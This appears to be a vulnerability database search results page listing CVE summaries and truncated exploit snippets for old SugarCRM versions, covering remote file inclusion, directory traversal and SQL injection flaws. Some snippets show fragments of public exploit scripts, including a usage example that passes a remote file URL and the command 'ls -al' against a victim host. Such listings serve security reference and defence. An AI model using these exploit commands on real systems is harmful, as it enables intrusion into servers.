102 matches found
CVE-2006-2460
Sugar Suite Open Source SugarCRM 4.2 and earlier, when registerglobals is enabled, does not protect critical variables such as $GLOBALS and $SESSION from modification, which allows remote attackers to conduct attacks such as directory traversal or PHP remote file inclusion, as demonstrated by...
CVE-2006-2460
SugarCRM (Sugar Suite Open Source)
CVE-2006-2460: Undefined Security Weakness
Sugar Suite Open Source SugarCRM 4.2 and earlier, when registerglobals is enabled, does not protect critical variables such as $GLOBALS and $SESSION from modification, which allows remote attackers to conduct attacks such as directory traversal or PHP remote file inclusion, as demonstrated by...
Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote inclusion exploit
!/usr/bin/php -q -d shortopentag=on ? echo "Sugar Suite Open Source = 4.2 "OptimisticLock!" arbitrary remote inclusion exploitrn"; echo "by rgod [email protected]"; echo "site: http://retrogod.altervista.orgrnrn"; echo "this is called the "five claws of Sun-tzu"rnrn"; if $argc5 echo "Usage: ph...
Sugar Suite Open Source <= 4.2 (OptimisticLock) Remote Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Sugar Suite Open Source = 4.2 "OptimisticLock!" arbitrary remote inclusion exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "this is called the "five claws...
Sugar Suite Open Source <= 4.2 (OptimisticLock) Remote Exploit
Exploit for unknown platform in category web applications ============================================================== Sugar Suite Open Source = 4.2 OptimisticLock Remote Exploit ============================================================== !/usr/bin/php -q -d shortopentag=on ? echo "Sugar Sui...
Sugar Suite Open Source 4.2 - OptimisticLock Command Execution
Sugar Suite Open Source 4.2 - OptimisticLock Command Execution !/usr/bin/php -q -d shortopentag=on \r\n"; die; / software site: http://www.sugarcrm.com/crm/ i vulnerable code in modules/Optimis...
CVE-2005-4086
Directory traversal vulnerability in acceptDecline.php in Sugar Suite Open Source Customer Relationship Management SugarCRM 4.0 beta and earlier allows remote attackers to include arbitrary local files via ".." sequences in the beanFiles array parameter...
CVE-2005-4086
SugarCRM
CVE-2005-4086
Directory traversal vulnerability in acceptDecline.php in Sugar Suite Open Source Customer Relationship Management SugarCRM 4.0 beta and earlier allows remote attackers to include arbitrary local files via ".." sequences in the beanFiles array parameter...
SugarSuite Open Source <= 4.0beta Remote Code Execution Exploit (c)
No description provided by source. / gcc -o sugar sugar.c Usage ./sugar host /path/ site cmd Sugar Suite Open Source = 4.0 beta remote code execution c code coded by: pointslash v. credits: rgod, unitedasia host - hostname ex: www.sitename.com path - path ex: /sugar/ or just / site - remote...
SugarSuite Open Source 4.0beta - Remote Code Execution (2)
SugarSuite Open Source 4.0beta - Remote Code Execution 2 / gcc -o sugar sugar.c Usage ./sugar host /path/ site cmd Sugar Suite Open Source "; fclose$fp; ? ./sugar www.victim.com /CRM35/ http://othersite.com/file.txt ls%20-al HTTP/1.1 200 OK Date: Thu, 08 Dec 2005 12:35:33 GMT Server: Apache/1.3.2...
CVE-2005-4087: Undefined Security Weakness
PHP remote file include vulnerability in acceptDecline.php in Sugar Suite Open Source Customer Relationship Management SugarCRM 4.0 beta and earlier allows remote attackers to execute arbitrary PHP code via a URL in the beanFiles array parameter...
CVE-2005-4086: Undefined Security Weakness
Directory traversal vulnerability in acceptDecline.php in Sugar Suite Open Source Customer Relationship Management SugarCRM 4.0 beta and earlier allows remote attackers to include arbitrary local files via ".." sequences in the beanFiles array parameter...
SugarSuite Open Source <= 4.0beta Remote Code Execution Exploit
Exploit for unknown platform in category web applications =============================================================== SugarSuite Open Source Sugar Suite Open Source body background-color:111111; SCROLLBAR-ARROW-COLOR: ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR...
CVE-2004-1226
SugarCRM Sugar Sales 2.0.1c and earlier are affected by a vulnerability where remote attackers can cause an error message to reveal internal path information via requests to scripts with invalid input, demonstrated with phprint.php and an empty module parameter. The reliable sources describe the ...
CVE-2004-1228
The CVE-2004-1228 entry concerns SugarCRM Sugar Sales 2.0.1c and earlier, where install scripts are not removed after installation. This leaves the MySQL administrative password exposed in cleartext via an installation form and can also enable denial of service by resetting database settings to d...
CVE-2004-1227
CVE-2004-1227 affects SugarCRM Sugar Sales 2.0.1c and earlier. The vulnerability is a directory traversal flaw allowing remote attackers to read arbitrary files and potentially execute PHP code via dot-dot sequences in several parameters to index.php and Login.php (and possibly other scripts). Ro...
CVE-2004-1225: Undefined Security Weakness
SQL injection vulnerability in SugarCRM Sugar Sales before 2.0.1a allows remote attackers to execute arbitrary SQL commands and gain privileges via the record parameter in a DetailView action to index.php, and record parameters in other functionality...
CVE-2004-1227: Undefined Security Weakness
Directory traversal vulnerability in SugarCRM Sugar Sales 2.0.1c and earlier allows remote attackers to read arbitrary files and possibly execute arbitrary PHP code via .. dot dot sequences in the 1 module, 2 action, or 3 theme parameters to index.php, 4 the theme parameter to Login.php, and...